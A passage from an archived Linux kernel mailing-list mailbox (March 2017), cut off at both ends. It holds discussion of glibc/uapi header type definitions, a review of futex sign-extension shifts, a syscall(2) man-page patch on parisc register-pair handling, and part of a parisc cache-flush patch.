        mail-qk0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932162AbdCFPKU (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Mon, 6 Mar 2017 10:10:20 -0500
Original-Received: by mail-qk0-f173.google.com with SMTP id p64so39430937qke.1
        for <linux-arch@vger.kernel.org>; Mon, 06 Mar 2017 07:10:19 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=WWJmdPZ9NWttrCdNFQI1XbK+HgGRSgTz2XdblaMohlU=;
        b=FvnK+FdKN9EWyJsk4swpZCJq3DnDKeZlc+QWXRjwyuwpMJDHl9Sh53BLppRGVZEgZF
         9/uGCvL3/xxC8VeD1v3H402rA0TjD0MNqWwyvKoo70qaVi3gjbIwY+69/RqBDhx6W2in
         5xIxc8dsDCmmkgTyOluyvft8qBpNSO4azv7xY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=WWJmdPZ9NWttrCdNFQI1XbK+HgGRSgTz2XdblaMohlU=;
        b=Qgp0Lr/Hqg+Nz3bDf1e3GPJ54PE6oOP4ylWy7pI81ktdiV511fXUkYgM29k97JeGE8
         LrxbraLMUUl5VWtc69oelIwo/I0cSsBc38FcjrWMx3BHWbBVzI6J1sRsPnWptrMZoE3x
         AaoAKdkNvjcwuqIZ4cbWnxosu4aIC8ONT/tYr4ejjAamaJUEHv6x5gIqfWoiiUQW2dl+
         BiT6uyeSo3xqYIGogHp+AKceNvpxrd22+dJt78qV1Pf4p6aEPqiG/BGGE3dYTEQkd+Va
         4Gd4C3RAI+f13aN6jkJrAHyn4DIAVOY0kOVD/YigmPTSu5/lMiw+rd13gardiM4py1FE
         jISQ==
X-Gm-Message-State: AMke39nlkqhjc0kZWBVkpS6vFLrp8c376oun/cLkcuD11KGW7KYEgKHl9oEXNo5YXzkBhO4ILofI0kA9g8Wh7A==
X-Received: by 10.55.19.10 with SMTP id d10mr14843619qkh.312.1488813018688;
 Mon, 06 Mar 2017 07:10:18 -0800 (PST)
Original-Received: by 10.237.61.167 with HTTP; Mon, 6 Mar 2017 07:10:18 -0800 (PST)
X-Originating-IP: [184.145.137.27]
In-Reply-To: <CAE2sS1i-xezJu2hHfzOxpCMZHc2J+dsturtqFPMRWHa6mm6ccQ@mail.gmail.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:35402 gmane.linux.ports.alpha:4116 gmane.linux.ports.arm.kernel:562934 gmane.linux.ports.ia64:27682 gmane.linux.ports.mips.general:58216 gmane.linux.ports.parisc:27306 gmane.linux.ports.ppc64.devel:139275 gmane.linux.ports.sparc:24682 gmane.linux.kernel:2424487
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/35402>

On Fri, Mar 3, 2017 at 8:23 PM, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On Thu, Mar 2, 2017 at 10:48 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
>> On Thu, Mar 02, 2017 at 10:22:18AM -0500, Carlos O'Donell wrote:
>>> On Wed, Mar 1, 2017 at 11:20 AM, Arnd Bergmann <arnd@arndb.de> wrote:
>>> > On Sun, Feb 26, 2017 at 2:01 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
>>> >> Include <stddef.h> (guarded by #ifndef __KERNEL__) to fix asm/signal.h
>>> >> userspace compilation errors like this:
>>> >>
>>> >> /usr/include/asm/signal.h:126:2: error: unknown type name 'size_t'
>>> >>   size_t ss_size;
>>> >>
>>> >> As no uapi header provides a definition of size_t, inclusion
>>> >> of <stddef.h> seems to be the most conservative fix available.
>> [...]
>>> > I'm not sure if this is the best fix. We generally should not include one
>>> > standard header from another standard header. Would it be possible
>>> > to use __kernel_size_t instead of size_t?
>>>
>>> In glibc we handle this with special use of __need_size_t with GCC's
>>> provided stddef.h.
>>>
>>> For example glibc's signal.h does this:
>>>
>>> # define __need_size_t
>>> # include <stddef.h>
>>
>> Just to make it clear, do you suggest this approach for asm/signal.h as well?

The best practice from the glibc community looks like this:

(a) Create a bits/types/*.h header for the type you need.

e.g.
./time/bits/types/struct_timeval.h
./time/bits/types/struct_itimerspec.h
./time/bits/types/time_t.h
./time/bits/types/struct_timespec.h
./time/bits/types/struct_tm.h
./time/bits/types/clockid_t.h
./time/bits/types/clock_t.h
./time/bits/types/timer_t.h

(b) If neccessary the bits/types/*.h header is a wrapper:
~~~
#define __need_size_t
#include <stddef.h>
~~~
to get access to the compiler provided type.

This way all of the code you need simplifies to includes for the types you need.

e.g.

time/sys/time.h:
...
#include <bits/types.h>
#include <bits/types/time_t.h>
#include <bits/types/struct_timeval.h>
...

This is what we've been doing in glibc starting last September as we
cleaned up all the convoluted conditional logic to get the types we
needed in the headers that needed them.

Cheers,
Carlos.


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Wed, 8 Mar 2017 22:16:49 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <23e5808b-2a20-518d-b49a-4d95dd23cfde@landley.net>
References: <20170303122712.13353-1-jslaby@suse.cz>
 <20170304130550.GT21222@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1489033045 6688 195.159.176.226 (9 Mar 2017 04:17:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Mar 2017 04:17:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
To: Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jiri Slaby <jslaby@suse.cz>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Mar 09 05:17:16 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1clpVn-0000E5-7D
	for lnx-sparclinux@m.gmane.org; Thu, 09 Mar 2017 05:17:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751573AbdCIERP (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 8 Mar 2017 23:17:15 -0500
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:35616 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751610AbdCIERH (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Wed, 8 Mar 2017 23:17:07 -0500
Original-Received: by mail-pg0-f67.google.com with SMTP id g2so947507pge.2
        for <sparclinux@vger.kernel.org>; Wed, 08 Mar 2017 20:17:06 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=landley-net.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=OhUHJSE5xU6QMGVnJZxnedbXx+uYtbUUiw2eHUGexbc=;
        b=x9/eJRzZHDDBHbBVNWBBuWp935tC5GuX3kZhgkgijhR3tsRQ7L5dU/NpbpAI5N04pM
         460Vjh3374vT3oKaXYqfPQfOv6TAldpV4sSM59MZOB59MsA4JcxcmrsJJieDM7Fmt16e
         U0vwgft7qcoWC4PHgXDPogNvAFGk/RsyUf4OUC6E0qMSJBzeMiLaMoFIb9GMGTILExoA
         znpddWFZ16MaDxZUGU1MtE0pWckaRcAMGeD/4ncjPMWJ182IMuWUfNMv8iQQRgf3JyFJ
         bvynm4ZslcpaenqeG5vkypNLlB1MmiRDM1pI3+Ls+ncPb7bubCed+bpolfsmg1SJD08k
         IZ0A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=OhUHJSE5xU6QMGVnJZxnedbXx+uYtbUUiw2eHUGexbc=;
        b=sxVLTASOwG3rIVT8clbbtk1x2hKBw5ixAFeGTZdsU5iIIGX1UaPCwaRG2kKxHgHvkH
         CI/sh4KXjOk6TAQdKfRwV5uBxubOQ+RaJ+eooeaUZdrHvWT0UUpqEc3oQte5uptYqJEW
         mqtQicDkiDu2hPXJyDkXhYV/TOlVQtwGvgKuagLG6i0XAs2dAG2PHJgWP1MCdPTsMdr7
         8JVfpnUggPG7Sz01Eflp4PKT6MJw93Zli5hsB53b9UGx6sDdUnvtfVxEehijNJQFnT+D
         Yq6b1cQ1dtsdws1kU8zKQUG3Q4j18BADlgS3xLYm9xugtcoMIWBWlvq0Irg6L3kckz4L
         W5LQ==
X-Gm-Message-State: AMke39mGJ8E+XGVfMc9L/dGf50NgBm/0w5k/WP0tFQGTBj6HWuA3arkHegbD5AeBTBUFqg==
X-Received: by 10.99.133.195 with SMTP id u186mr11217397pgd.97.1489033026175;
        Wed, 08 Mar 2017 20:17:06 -0800 (PST)
Original-Received: from [192.168.42.40] (p76119-ipngnfx01marunouchi.tokyo.ocn.ne.jp. [153.142.246.119])
        by smtp.googlemail.com with ESMTPSA id i15sm8924786pfj.0.2017.03.08.20.16.54
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 08 Mar 2017 20:17:05 -0800 (PST)
In-Reply-To: <20170304130550.GT21222@n2100.armlinux.org.uk>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:24701 gmane.linux.kernel:2426828 gmane.linux.ports.alpha:4117 gmane.linux.kernel.arc:2200 gmane.linux.ports.arm.kernel:563640 gmane.linux.ports.hexagon:1143 gmane.linux.ports.ia64:27683 gmane.linux.ports.mips.general:58253 gmane.linux.ports.parisc:27307 gmane.linux.ports.ppc64.devel:139416 gmane.linux.ports.sh.devel:55114 gmane.linux.kernel.cross-arch:35457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/24701>

On 03/04/2017 07:05 AM, Russell King - ARM Linux wrote:
> On Fri, Mar 03, 2017 at 01:27:10PM +0100, Jiri Slaby wrote:
>> diff --git a/kernel/futex.c b/kernel/futex.c
>> index b687cb22301c..c5ff9850952f 100644
>> --- a/kernel/futex.c
>> +++ b/kernel/futex.c
>> @@ -1457,6 +1457,42 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
>>  	return ret;
>>  }
>>  
>> +static int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
>> +{
>> +	int op = (encoded_op >> 28) & 7;
>> +	int cmp = (encoded_op >> 24) & 15;
>> +	int oparg = (encoded_op << 8) >> 20;
>> +	int cmparg = (encoded_op << 20) >> 20;
> 
> Hmm.  oparg and cmparg look like they're doing these shifts to get sign
> extension of the 12-bit values by assuming that "int" is 32-bit -
> probably worth a comment, or for safety, they should be "s32" so it's
> not dependent on the bit-width of "int".

I thought Linux depended on the LP64 standard for all architectures?

Standard: http://www.unix.org/whitepapers/64bit.html
Rationale: http://www.unix.org/version2/whatsnew/lp64_wp.html

So int has a defined bit width (32) on linux?

Rob
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Wed, 08 Mar 2017 20:36:30 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <201703090437.v294b0RE021699__12557.8244719238$1489036094$gmane$org@mail.zytor.com>
References: <20170303122712.13353-1-jslaby@suse.cz> <20170304130550.GT21222@n2100.armlinux.org.uk> <23e5808b-2a20-518d-b49a-4d95dd23cfde@landley.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1489036094 10714 195.159.176.226 (9 Mar 2017 05:08:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Mar 2017 05:08:14 +0000 (UTC)
User-Agent: K-9 Mail for Android
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
To: Rob Landley <rob@landley.net>,
        Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 09 06:08:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1clqJ0-0001PU-NB
	for glpp-linux-parisc@m.gmane.org; Thu, 09 Mar 2017 06:08:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750790AbdCIFH6 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 9 Mar 2017 00:07:58 -0500
Original-Received: from terminus.zytor.com ([65.50.211.136]:38340 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750724AbdCIFHz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 9 Mar 2017 00:07:55 -0500
Original-Received: from nexus6.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net [24.5.245.234] (may be forged))
        (authenticated bits=0)
        by mail.zytor.com (8.15.2/8.14.5) with ESMTPSA id v294b0RE021699
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
        Wed, 8 Mar 2017 20:37:17 -0800
In-Reply-To: <23e5808b-2a20-518d-b49a-4d95dd23cfde@landley.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27308
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27308>

<cmetcalf@mellanox.com>,Thomas Gleixner <tglx@linutronix.de>,Ingo Molnar <mingo@redhat.com>,Chris Zankel <chris@zankel.net>,Max Filippov <jcmvbkbc@gmail.com>,Arnd Bergmann <arnd@arndb.de>,x86@kernel.org,linux-alpha@vger.kernel.org,linux-snps-arc@lists.infradead.org,linux-arm-kernel@lists.infradead.org,linux-hexagon@vger.kernel.org,linux-ia64@vger.kernel.org,linux-mips@linux-mips.org,openrisc@lists.librecores.org,linux-parisc@vger.kernel.org,linuxppc-dev@lists.ozlabs.org,linux-s390@vger.kernel.org,linux-sh@vger.kernel.org,sparclinux@vger.kernel.org,linux-xtensa@linux-xtensa.org,linux-arch@vger.kernel.org
From: hpa@zytor.com
Message-ID: <83324528-AAA1-4BED-B0C7-48426ECBA261@zytor.com>

On March 8, 2017 8:16:49 PM PST, Rob Landley <rob@landley.net> wrote:
>On 03/04/2017 07:05 AM, Russell King - ARM Linux wrote:
>> On Fri, Mar 03, 2017 at 01:27:10PM +0100, Jiri Slaby wrote:
>>> diff --git a/kernel/futex.c b/kernel/futex.c
>>> index b687cb22301c..c5ff9850952f 100644
>>> --- a/kernel/futex.c
>>> +++ b/kernel/futex.c
>>> @@ -1457,6 +1457,42 @@ futex_wake(u32 __user *uaddr, unsigned int
>flags, int nr_wake, u32 bitset)
>>>  	return ret;
>>>  }
>>>  
>>> +static int futex_atomic_op_inuser(int encoded_op, u32 __user
>*uaddr)
>>> +{
>>> +	int op = (encoded_op >> 28) & 7;
>>> +	int cmp = (encoded_op >> 24) & 15;
>>> +	int oparg = (encoded_op << 8) >> 20;
>>> +	int cmparg = (encoded_op << 20) >> 20;
>> 
>> Hmm.  oparg and cmparg look like they're doing these shifts to get
>sign
>> extension of the 12-bit values by assuming that "int" is 32-bit -
>> probably worth a comment, or for safety, they should be "s32" so it's
>> not dependent on the bit-width of "int".
>
>I thought Linux depended on the LP64 standard for all architectures?
>
>Standard: http://www.unix.org/whitepapers/64bit.html
>Rationale: http://www.unix.org/version2/whatsnew/lp64_wp.html
>
>So int has a defined bit width (32) on linux?
>
>Rob

Linux is ILP32 on 32-bit architectures and LP64 on 64-bit architectures, but that doesn't inherently make this stuff clear.
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: [PATCH] syscall(2): note parisc handling of aligned register pairs
Date: Sat, 11 Mar 2017 13:04:38 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20170311210438.4908-1-vapier@gentoo.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489266288 5048 195.159.176.226 (11 Mar 2017 21:04:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Mar 2017 21:04:48 +0000 (UTC)
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Michael Kerrisk <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sat Mar 11 22:04:44 2017
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1cmoBp-00089s-Qx
	for glm-linux-man@m.gmane.org; Sat, 11 Mar 2017 22:04:38 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1755643AbdCKVEm (ORCPT <rfc822;glm-linux-man@m.gmane.org>);
        Sat, 11 Mar 2017 16:04:42 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:55298 "EHLO smtp.gentoo.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755615AbdCKVEm (ORCPT <rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Sat, 11 Mar 2017 16:04:42 -0500
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
        by smtp.gentoo.org (Postfix) with ESMTP id 194F0340988;
        Sat, 11 Mar 2017 21:04:40 +0000 (UTC)
X-Mailer: git-send-email 2.12.0
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:12166 gmane.linux.ports.parisc:27309
Archived-At: <http://permalink.gmane.org/gmane.linux.man/12166>

While parisc would normally have the same behavior as ARM/PowerPC,
they decide to write shim syscall stubs to unpack/realign rather
than expose the padding to userspace.

Signed-off-by: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
---
 man2/syscall.2 | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/man2/syscall.2 b/man2/syscall.2
index f8c89b84356d..b55540e039b7 100644
--- a/man2/syscall.2
+++ b/man2/syscall.2
@@ -133,6 +133,10 @@ on PowerPC with the 32-bit ABI, and on Xtensa.
 .\" Mike Frysinger: this issue ends up forcing MIPS
 .\" O32 to take 7 arguments to syscall()
 
+.\" See arch/parisc/kernel/sys_parisc.c.
+Note that while the parisc C ABI also uses aligned register pairs,
+it uses a shim layer to hide the issue from userspace.
+
 The affected system calls are
 .BR fadvise64_64 (2),
 .BR ftruncate64 (2),
-- 
2.12.0

--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Optimize flush_kernel_vmap_range and invalidate_kernel_vmap_range
Date: Sat, 11 Mar 2017 18:03:34 -0500
Lines: 115
Approved: news@gmane.org
Message-ID: <66AE6B29-0375-48C1-9698-179E1562AE11@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-32--134893245
X-Trace: blaine.gmane.org 1489273420 17107 195.159.176.226 (11 Mar 2017 23:03:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Mar 2017 23:03:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 12 00:03:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cmq2t-0003Yl-F5
	for glpp-linux-parisc@m.gmane.org; Sun, 12 Mar 2017 00:03:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753423AbdCKXDh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 11 Mar 2017 18:03:37 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:42759 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752022AbdCKXDh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 11 Mar 2017 18:03:37 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170311230335.BEMV10919.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 11 Mar 2017 18:03:35 -0500
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm02.bell.net
          with ESMTP
          id <20170311230335.DRHH4291.torspm02.bell.net@[192.168.2.10]>;
          Sat, 11 Mar 2017 18:03:35 -0500
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=CLPFZVjD c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=6Iz7jQTuP9IA:10 a=FBHGMhGWAAAA:8 a=x2Sg2GvEJ2bTDp-ged0A:9 a=CjuIK1q_8ugA:10 a=IfeV4ftXylhLtbdo4isA:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27310
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27310>


--Apple-Mail-32--134893245
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The previously submitted patch did not resolve the random segmentation =
faults observed on the phantom buildd system.
There are still unresolved problems with the Debian 4.8 and 4.9 kernels =
on C8000.

The attached patch removes the flush of the offset map pages and does a =
whole data cache flush for large ranges.  No
other arch flushes the offset map in these routines as far as I can =
tell.

I have not observed any random segmentation faults on rp3440 in two =
weeks of testing with 4.10.0 and 4.10.1.  I know
as soon as I send this mail, something will break...

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-32--134893245
Content-Disposition: attachment;
	filename=kernel_vmap_range.d.1.txt
Content-Type: text/plain;
	name="kernel_vmap_range.d.1.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/cacheflush.h =
b/arch/parisc/include/asm/cacheflush.h
index 7bd69bd43a01..c7e15cc5c668 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -45,28 +43,9 @@ static inline void flush_kernel_dcache_page(struct =
page *page)
=20
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
-/* vmap range flushes and invalidates.  Architecturally, we don't need
- * the invalidate, because the CPU should refuse to speculate once an
- * area has been flushed, so invalidate is left empty */
-static inline void flush_kernel_vmap_range(void *vaddr, int size)
-{
-	unsigned long start =3D (unsigned long)vaddr;
-
-	flush_kernel_dcache_range_asm(start, start + size);
-}
-static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
-{
-	unsigned long start =3D (unsigned long)vaddr;
-	void *cursor =3D vaddr;
=20
-	for ( ; cursor < vaddr + size; cursor +=3D PAGE_SIZE) {
-		struct page *page =3D vmalloc_to_page(cursor);
-
-		if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
-			flush_kernel_dcache_page(page);
-	}
-	flush_kernel_dcache_range_asm(start, start + size);
-}
+void flush_kernel_vmap_range(void *vaddr, int size);
+void invalidate_kernel_vmap_range(void *vaddr, int size);
=20
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 977f0a4f5ecf..8935d350ede5 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -633,3 +615,25 @@ flush_cache_page(struct vm_area_struct *vma, =
unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr, PFN_PHYS(pfn));
